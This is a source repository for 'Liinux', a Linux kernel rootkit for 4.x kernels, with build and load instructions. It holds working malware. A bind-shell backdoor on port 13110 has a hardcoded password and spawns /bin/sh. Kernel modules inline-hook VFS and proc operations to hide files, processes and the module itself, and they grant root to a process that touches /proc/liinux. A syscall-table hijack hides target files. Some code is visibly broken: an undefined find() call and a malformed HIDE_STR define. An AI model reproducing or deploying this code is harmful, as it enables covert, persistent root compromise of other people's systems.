├── Makefile ├── README.md ├── bd.c ├── liinux_syscall.c └── liinux_vfs.c /Makefile: -------------------------------------------------------------------------------- 1 | obj-m := liinux.o 2 | KERNEL_DIR = /lib/modules/$(shell uname -r)/build 3 | PWD = $(shell pwd) 4 | all: 5 | $(MAKE) -C $(KERNEL_DIR) SUBDIRS=$(PWD) modules 6 | clean: 7 | rm -rf *.o *.ko *.symvers *.mod.* *.order .*.cmd 8 | 9 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Liinux # 2 | A small linux rootkit works on kernel 4.0.X. 3 | 4 | ## About ## 5 | ### liinux_vfs.c ### 6 | It works with the backdoor using inline hook in vfs, hides the process of backdoor and grants root privileges for it.It also hides itself in kernel modules and hides itself and backdoor in file system, but no network connection hiding yet. 7 | 8 | You can modify it to hides other files or modules or processes and grant root privileges for them. 9 | 10 | ### bd.c ### 11 | A backdoor which provide you a shell with root privileges and move itself with lkm into target directory to hide better. 12 | 13 | ### liinux_syscall.c ### 14 | It is just a sample with hijack system call of write in sys_call_table to hide target file. Because sys_call_table is not export symbol any more since kernel 2.6.x, it get its address by define a kernel memory range then brute force it. 15 | 16 | 17 | ## Usage ## 18 | Make sure you have kernel header files. If not, get them with shell command: 19 | 20 | ```sudo apt-get install linux-headers-$(uname -r)``` 21 | 22 | After that you can edit some configurations in liinux_vfs.c and bd.c such as listening port, filename that should be hidden etc. Compile the rootkit with Makefile and backdoor with gcc. 23 | 24 | Then use "insmod " to load the rootkit and execute the backdoor. 25 | 26 | ## Notes ## 27 | It should works on kernel version 4.0.X or higher. I test it on kernel 4.0.0, x64 and it works fine. 28 | -------------------------------------------------------------------------------- /bd.c: -------------------------------------------------------------------------------- 1 | /* 2 | * A backdoor which provide you a shell with root privileges 3 | * and move itself with lkm into target directory to hide better. 4 | */ 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | 16 | // listening port 17 | #define LPORT 13110 18 | #define PASSWD "13110" 19 | 20 | // used for rootkit to hide these file, but files which have these string as prefix will also be hide 21 | #define BD_NAME "111nuxXX02" 22 | #define LKM_NAME "111nuxXX01" 23 | 24 | #define DST_BD "/tmp/"BD_NAME 25 | #define DST_LKM "/tmp/"LKM_NAME 26 | 27 | #define MAXLINE 4096 28 | #define KEY_TO_ROOT "/proc/liinux" 29 | #define INIT_D_FILE "/etc/rc.local" 30 | 31 | 32 | void moveTo(char *src,char *dst){ 33 | int sfd=open(src,O_RDONLY); 34 | if(sfd==-1) 35 | return; 36 | 37 | int dfd=open(dst,O_WRONLY|O_CREAT|O_TRUNC,0); 38 | if(dfd==-1) 39 | return; 40 | 41 | char buf[4096]; 42 | int size=0; 43 | while((size=read(sfd,buf,4096))!=0){ 44 | write(dfd,buf,size); 45 | } 46 | close(sfd); 47 | close(dfd); 48 | } 49 | 50 | int main(int argc, char **argv) 51 | { 52 | int i, listenfd, connfd; 53 | int fd; 54 | pid_t pid; 55 | char buf[MAXLINE]; 56 | struct sockaddr_in s_addr; 57 | struct sockaddr_in c_addr; 58 | socklen_t c_size=sizeof(c_addr); 59 | 60 | // get root 61 | fd = open(KEY_TO_ROOT, O_RDWR|O_CREAT, 0); 62 | close(fd); 63 | unlink(KEY_TO_ROOT); 64 | 65 | // test permisson 66 | // int r,e,s; 67 | // getresuid(&r, &e, &s); 68 | // printf("%d,%d,%d\n",r,e,s); 69 | 70 | // move itself and lkm into target directory 71 | // you can also modify /etc/rc.local and /etc/modules.conf to make this backdoor and lkm get executed at boot time 72 | moveTo("./"BD_NAME,DST_BD); 73 | unlink("./"BD_NAME); 74 | moveTo("./"LKM_NAME,DST_LKM); 75 | unlink("./"LKM_NAME); 76 | 77 | 78 | // make itself become daemen process 79 | // daemon(0,0); 80 | 81 | listenfd = socket(AF_INET,SOCK_STREAM,0); 82 | if (listenfd == -1){ 83 | exit(1); 84 | } 85 | memset(&s_addr,0,sizeof(s_addr)); 86 | s_addr.sin_family=AF_INET; 87 | s_addr.sin_addr.s_addr=htonl(INADDR_ANY); 88 | s_addr.sin_port=htons(LPORT); 89 | 90 | if (bind(listenfd, (struct sockaddr *)&s_addr, sizeof(s_addr)) == -1){ 91 | exit(1); 92 | } 93 | if (listen(listenfd, 20)==-1){ 94 | exit(1); 95 | } 96 | 97 | 98 | //ready to recieve 99 | while(1){ 100 | connfd = accept(listenfd, (struct sockaddr *)&c_addr, &c_size); 101 | if((pid=fork())==0) 102 | { 103 | //child process create his child process 104 | if((pid = fork()) > 0) 105 | { 106 | //child process end 107 | exit(0); 108 | }else if(!pid){ 109 | //deal with connection 110 | close(listenfd); 111 | char *some_str="passwd\n"; 112 | write(connfd, some_str, strlen(some_str)); 113 | memset(buf,0, MAXLINE); 114 | read(connfd, buf, MAXLINE); 115 | if (strncmp(buf,PASSWD,strlen(PASSWD)) !=0){ 116 | close(connfd); 117 | exit(0); 118 | }else{ 119 | some_str="you come again\n"; 120 | write(connfd,some_str,strlen(some_str)); 121 | dup2(connfd,0); 122 | dup2(connfd,1); 123 | dup2(connfd,2); 124 | execl("/bin/sh", NULL, (char *) 0); 125 | } 126 | } 127 | }else if(pid>0){ 128 | close(connfd); 129 | //wait for child process 130 | if (waitpid(pid, NULL, 0) != pid) 131 | exit(1); 132 | }else{ 133 | exit(1); 134 | } 135 | } 136 | } 137 | 138 | 139 | -------------------------------------------------------------------------------- /liinux_syscall.c: -------------------------------------------------------------------------------- 1 | /* 2 | It is just a sample with hijack system call of write in sys_call_table to hide target file. 3 | Because sys_call_table is not export symbol any more since kernel 2.6.x, 4 | it get its address by define a kernel memory range then brute force it. 5 | */ 6 | #include 7 | #include 8 | #include 9 | 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | 16 | 17 | #if defined(__i386__) 18 | #define START_CHECK 0xc0000000 19 | #define END_CHECK 0xd0000000 20 | typedef unsigned int psize; 21 | #else 22 | #define START_CHECK 0xffffffff81000000 23 | #define END_CHECK 0xffffffffa2000000 24 | typedef unsigned long psize; 25 | #endif 26 | 27 | #define HIDE_STR="liinux" 28 | 29 | asmlinkage ssize_t (*orig_write)(int fd, const char __user *buff, ssize_t count); 30 | 31 | psize *sys_call_table; 32 | 33 | 34 | //get address of sys_call_table 35 | psize **get_sys_call_table(void) { 36 | psize **sctable; 37 | psize i = START_CHECK; 38 | while (i < END_CHECK) { 39 | sctable = (psize **) i; 40 | if (sctable[__NR_close] == (psize *) sys_close) { 41 | return &sctable[0]; 42 | } 43 | i += sizeof(void *); 44 | } 45 | return NULL; 46 | } 47 | 48 | asmlinkage ssize_t liinux_write(int fd, const char __user *buff, ssize_t count) { 49 | char *hide_str = HIDE_STR; 50 | char *kbuff = (char *) kmalloc(256,GFP_KERNEL); 51 | copy_from_user(kbuff,buff,255); 52 | if (strstr(kbuff,hide_str)) { 53 | kfree(kbuff); 54 | return EEXIST; 55 | } 56 | kfree(kbuff); 57 | return (*orig_write)(fd,buff,count); 58 | } 59 | 60 | 61 | int liinux_init(void) { 62 | 63 | // hide this kernel object 64 | list_del_init(&__this_module.list); 65 | kobject_del(&THIS_MODULE->mkobj.kobj); 66 | 67 | //get the sys_call_table 68 | if (!(sys_call_table = (psize *) find())) { 69 | return -1; 70 | } 71 | 72 | // clear the write protect flag bit 73 | write_cr0(read_cr0() & (~ 0x10000)); 74 | // hijack system call and save it 75 | orig_write = (void *) xchg(&sys_call_table[__NR_write],liinux_write); 76 | // reset the write protect flag bit 77 | write_cr0(read_cr0() | 0x10000); 78 | printk("liinux loaded\n"); 79 | return 0; 80 | } 81 | 82 | 83 | void liinux_exit(void) { 84 | write_cr0(read_cr0() & (~0x10000)); 85 | xchg(&sys_call_table[__NR_write],orig_write); 86 | write_cr0(read_cr0() | 0x10000); 87 | printk("liinux unloaded\n"); 88 | } 89 | 90 | 91 | module_init(liinux_init); 92 | module_exit(liinux_exit); 93 | -------------------------------------------------------------------------------- /liinux_vfs.c: -------------------------------------------------------------------------------- 1 | /* 2 | It works with the backdoor using inline hook in vfs, 3 | hides the process of backdoor and grants root privileges for it. 4 | It also hides itself in kernel modules and hides itself 5 | and backdoor in file system, but no network connection hiding yet. 6 | 7 | You can modify it to hides other files or modules or processes 8 | and grant root privileges for them. 9 | */ 10 | 11 | // #undef MODULE 12 | 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | 26 | // #define MODULE license 27 | MODULE_LICENSE("GPL"); 28 | 29 | // #define LIINUX_DEBUG 30 | 31 | #define KEY_TO_ROOT "liinux" 32 | #define BD_NAME "111nuxXX02" 33 | #define LKM_NAME "111nuxXX01" 34 | 35 | 36 | #if defined(__i386__) 37 | #define POFF 1 38 | #define CSIZE 6 39 | // push address, addr, ret 40 | char *jmp_code="\x68\x00\x00\x00\x00\xc3"; 41 | typedef unsigned int PSIZE; 42 | #else 43 | #define POFF 2 44 | #define CSIZE 12 45 | // mov address to register rax, jmp rax. for normal x64 convention 46 | char *jmp_code="\x48\xb8\x00\x00\x00\x00\x00\x00\x00\x00\xff\xe0"; 47 | typedef unsigned long PSIZE; 48 | #endif 49 | 50 | DEFINE_SPINLOCK(proc_iterate_lock); 51 | DEFINE_SPINLOCK(root_iterate_lock); 52 | 53 | typedef int (*filldir_t)(struct dir_context *, const char *, int, loff_t, u64,unsigned); 54 | 55 | struct dentry * (*orig_proc_lookup) (struct inode *,struct dentry *, unsigned int); 56 | 57 | int (*orig_proc_iterate) (struct file *, struct dir_context *); 58 | int (*orig_proc_filldir) (struct dir_context *, const char *, int, loff_t, u64, unsigned); 59 | int (*orig_root_iterate) (struct file *, struct dir_context *); 60 | int (*orig_root_filldir) (struct dir_context *, const char *, int, loff_t, u64, unsigned); 61 | 62 | // ssize_t (*orig_proc_write) (struct file *, const char __user *, size_t, loff_t *); 63 | ssize_t (*orig_proc_read) (struct file *, char __user *, size_t, loff_t *); 64 | 65 | //used for saving backdoor's pid 66 | pid_t magic_pid=99999; 67 | //used for saving origin code 68 | void *orig_proc_iterate_code; 69 | void *orig_proc_filldir_code; 70 | void *orig_proc_read_code; 71 | 72 | void *orig_root_filldir_code; 73 | void *orig_root_iterate_code; 74 | 75 | 76 | 77 | int liinux_atoi(const char *str) 78 | { 79 | int ret = 0, mul = 1; 80 | const char *ptr; 81 | for (ptr = str; *ptr >= '0' && *ptr <= '9'; ptr++) 82 | ; 83 | ptr--; 84 | while (ptr >= str) { 85 | if (*ptr < '0' || *ptr > '9') 86 | break; 87 | ret += (*ptr - '0') * mul; 88 | mul *= 10; 89 | ptr--; 90 | } 91 | return ret; 92 | } 93 | 94 | void hook(void *src_func,void *dst_addr){ 95 | barrier(); 96 | write_cr0(read_cr0() & (~0x10000)); 97 | #ifdef LIINUX_DEBUG 98 | printk("in hook: now hook:%p\n",src_func); 99 | printk("in hook: hook to :%p\n",(PSIZE)dst_addr); 100 | #endif 101 | 102 | memcpy(src_func,jmp_code,CSIZE); 103 | *(PSIZE *)&(((unsigned char*)src_func)[POFF])=(PSIZE)dst_addr; 104 | 105 | #ifdef LIINUX_DEBUG 106 | printk("in hook: now src func content:%p\n",(void *)(*(unsigned long *)src_func)); 107 | #endif 108 | write_cr0(read_cr0() | 0x10000); 109 | barrier(); 110 | } 111 | 112 | void save_and_hook(void **p_reserve,void *src_func,void *dst_addr){ 113 | barrier(); 114 | write_cr0(read_cr0() & (~0x10000)); 115 | *p_reserve=kmalloc(CSIZE,GFP_KERNEL); 116 | #ifdef LIINUX_DEBUG 117 | printk("in save_and_hook: hijack address:%p\n",(PSIZE)dst_addr); 118 | #endif 119 | // save origin code 120 | memcpy(*p_reserve,src_func,CSIZE); 121 | hook(src_func,dst_addr); 122 | #ifdef LIINUX_DEBUG 123 | printk("in save_and_hook: hijack address completed\n"); 124 | #endif 125 | 126 | write_cr0(read_cr0() | 0x10000); 127 | barrier(); 128 | } 129 | 130 | void fix(void **p_reserve,void *src_func){ 131 | barrier(); 132 | write_cr0(read_cr0() & (~0x10000)); 133 | 134 | #ifdef LIINUX_DEBUG 135 | printk("in fix: p_reserve: %p\n",*p_reserve); 136 | printk("in fix: src_func: %p\n",src_func); 137 | #endif 138 | memcpy(src_func,*p_reserve,CSIZE); 139 | 140 | #ifdef LIINUX_DEBUG 141 | printk("in fix: now src func content:%p\n",(void *)(*(unsigned long *)src_func)); 142 | #endif 143 | 144 | write_cr0(read_cr0() | 0x10000); 145 | barrier(); 146 | } 147 | 148 | int liinux_proc_filldir(struct dir_context *ctx, const char *name, int nlen, loff_t off, u64 ino, unsigned x){ 149 | barrier(); 150 | 151 | char tmp[64]; 152 | memset(tmp, 0, 64); 153 | memcpy(tmp, name, nlen < 64 ? nlen : 63); 154 | 155 | // printk("in liinux_proc_filldir: prepare to do fill\n"); 156 | // hide lkm, backdoor and the process 157 | // printk("filldir name :%s\n",name); 158 | if(strncmp(tmp,LKM_NAME,strlen(LKM_NAME))==0||strncmp(tmp,BD_NAME,strlen(BD_NAME))==0||liinux_atoi(tmp)==(int)magic_pid){ 159 | return 0; 160 | } 161 | // printk("in liinux_proc_filldir: fill completed\n"); 162 | 163 | // it may lose response with spin_lock here 164 | // spin_lock(&proc_filldir_lock); 165 | fix(&orig_proc_filldir_code,orig_proc_filldir); 166 | int ret=orig_proc_filldir(ctx,name,nlen,off,ino,x); 167 | // hook it again 168 | hook(orig_proc_filldir,liinux_proc_filldir); 169 | // spin_unlock(&proc_filldir_lock); 170 | 171 | barrier(); 172 | return ret; 173 | // return orig_proc_filldir(ctx,name,nlen,off,ino,x); 174 | } 175 | 176 | int liinux_proc_iterate(struct file *fp, struct dir_context *ctx){ 177 | barrier(); 178 | // printk("in liinux_proc_iterate: in\n"); 179 | 180 | // I used to replace origin ctx with new_ctx, but after that I got nothing from "ls" in "/proc" 181 | // so I use inline hook again 182 | // struct dir_context new_ctx = { 183 | // .actor = liinux_proc_filldir 184 | // }; 185 | // new_ctx.pos=ctx->pos; 186 | spin_lock(&proc_iterate_lock); 187 | 188 | // struct dir_context *orig_ctx=ctx; 189 | orig_proc_filldir = ctx->actor; 190 | // ctx = &new_ctx; 191 | save_and_hook(&orig_proc_filldir_code,orig_proc_filldir,liinux_proc_filldir); 192 | 193 | fix(&orig_proc_iterate_code,orig_proc_iterate); 194 | int ret = orig_proc_iterate(fp, ctx); 195 | // hook it again 196 | hook(orig_proc_iterate,liinux_proc_iterate); 197 | 198 | fix(&orig_proc_filldir_code,orig_proc_filldir); 199 | 200 | // ctx->pos=new_ctx.pos; 201 | // // ctx = orig_ctx; 202 | 203 | spin_unlock(&proc_iterate_lock); 204 | 205 | // printk("in liinux_proc_iterate: leave\n"); 206 | barrier(); 207 | return ret; 208 | } 209 | 210 | int liinux_root_filldir(struct dir_context *ctx, const char *name, int nlen, loff_t off, u64 ino, unsigned x){ 211 | barrier(); 212 | 213 | char tmp[64]; 214 | memset(tmp, 0, 64); 215 | memcpy(tmp, name, nlen < 64 ? nlen : 63); 216 | 217 | // hide lkm, backdoor and the process 218 | // printk("filldir name :%s\n",name); 219 | if(strncmp(tmp,LKM_NAME,strlen(LKM_NAME))==0||strncmp(tmp,BD_NAME,strlen(BD_NAME))==0||liinux_atoi(tmp)==(int)magic_pid){ 220 | return 0; 221 | } 222 | 223 | fix(&orig_root_filldir_code,orig_root_filldir); 224 | int ret=orig_root_filldir(ctx,name,nlen,off,ino,x); 225 | // hook it again 226 | hook(orig_root_filldir,liinux_root_filldir); 227 | 228 | barrier(); 229 | return ret; 230 | } 231 | 232 | 233 | int liinux_root_iterate(struct file *fp, struct dir_context *ctx){ 234 | barrier(); 235 | spin_lock(&root_iterate_lock); 236 | 237 | orig_root_filldir = ctx->actor; 238 | save_and_hook(&orig_root_filldir_code,orig_root_filldir,liinux_root_filldir); 239 | 240 | 241 | fix(&orig_root_iterate_code,orig_root_iterate); 242 | int ret = orig_root_iterate(fp, ctx); 243 | // hook it again 244 | hook(orig_root_iterate,liinux_root_iterate); 245 | 246 | fix(&orig_root_filldir_code,orig_root_filldir); 247 | 248 | spin_unlock(&root_iterate_lock); 249 | barrier(); 250 | return ret; 251 | } 252 | 253 | 254 | ssize_t liinux_proc_read(struct file *fp, const char __user *buf, size_t size, loff_t *off){ 255 | 256 | fix(&orig_proc_read_code,orig_proc_read); 257 | ssize_t ret=orig_proc_read(fp,buf,size,off); 258 | hook(&orig_proc_read,liinux_proc_read); 259 | 260 | // printk("in liinux_proc_read: in\n"); 261 | 262 | return ret; 263 | } 264 | 265 | 266 | struct dentry *liinux_lookup(struct inode *i, struct dentry *d,unsigned int flag){ 267 | task_lock(current); 268 | if(strncmp(KEY_TO_ROOT,d->d_name.name,strlen(KEY_TO_ROOT))==0){ 269 | //save magic pid 270 | magic_pid=current->pid; 271 | printk("get pid:%d\n",(int)magic_pid); 272 | //give it root permission 273 | struct cred *orig_cred = get_current_cred(); 274 | struct cred *root_cred=prepare_creds(); 275 | root_cred->uid.val=0; 276 | root_cred->gid.val=0; 277 | root_cred->euid.val=0; 278 | root_cred->egid.val=0; 279 | root_cred->suid.val=0; 280 | root_cred->sgid.val=0; 281 | root_cred->fsuid.val=0; 282 | root_cred->fsgid.val=0; 283 | commit_creds(root_cred); 284 | 285 | //set cap of current process 286 | } 287 | task_unlock(current); 288 | // printk("now uid:%d\n",get_current_cred()->uid.val); 289 | return orig_proc_lookup(i, d, flag); 290 | } 291 | 292 | 293 | 294 | int liinux_init(void) { 295 | //hide this module 296 | list_del_init(&__this_module.list); 297 | kobject_del(&THIS_MODULE->mkobj.kobj); 298 | 299 | struct file *fp = filp_open("/proc", O_RDONLY|O_DIRECTORY, 0); 300 | if (IS_ERR(fp)) 301 | return -1; 302 | struct file *fpr=filp_open("/", O_RDONLY|O_DIRECTORY, 0); 303 | if(IS_ERR(fp)) 304 | return -1; 305 | 306 | //clear WP protect flag 307 | write_cr0(read_cr0() & (~0x10000)); 308 | //do something 309 | //hijack lookup operation in proc fs 310 | struct inode_operations *orig_inode_op = (struct inode_operations *)fp->f_path.dentry->d_inode->i_op; 311 | orig_proc_lookup = orig_inode_op->lookup; 312 | orig_inode_op->lookup = liinux_lookup; 313 | 314 | //reset WP protect flag 315 | write_cr0(read_cr0() | 0x10000); 316 | 317 | //hijack iterate operation in proc fs 318 | //because of const, we need to use inline hook instead of hijack function pointer 319 | orig_proc_iterate = fp->f_op->iterate; 320 | save_and_hook(&orig_proc_iterate_code,orig_proc_iterate,liinux_proc_iterate); 321 | orig_root_iterate = fpr->f_op->iterate; 322 | save_and_hook(&orig_root_iterate_code,orig_root_iterate,liinux_root_iterate); 323 | 324 | /* 325 | * TODO: hide target network connection 326 | * but hooking read can't work here 327 | * orig_proc_read = fp->f_op->read; 328 | * save_and_hook(&orig_proc_read_code,orig_proc_read,liinux_proc_read); 329 | */ 330 | 331 | 332 | 333 | printk("liinux loaded\n"); 334 | return 0; 335 | } 336 | 337 | void liinux_exit(void) { 338 | struct file *fp = filp_open("/proc", O_RDONLY|O_DIRECTORY, 0); 339 | if (IS_ERR(fp)) 340 | return; 341 | // struct file *fpr=filp_open("/", O_RDONLY|O_DIRECTORY, 0); 342 | // if(IS_ERR(fp)) 343 | // return -1; 344 | 345 | write_cr0(read_cr0() & (~0x10000)); 346 | 347 | struct inode_operations *orig_inode_op = (struct inode_operations *)fp->f_path.dentry->d_inode->i_op; 348 | orig_inode_op->lookup = orig_proc_lookup; 349 | 350 | write_cr0(read_cr0() | 0x10000); 351 | //now fix it back 352 | fix(&orig_proc_iterate_code,orig_proc_iterate); 353 | fix(&orig_root_iterate_code,orig_root_iterate); 354 | 355 | // fix(&orig_proc_read_code,orig_proc_read); 356 | 357 | //end 358 | printk("liinux unloaded\n"); 359 | } 360 | 361 | 362 | module_init(liinux_init); 363 | module_exit(liinux_exit); 364 | 365 | --------------------------------------------------------------------------------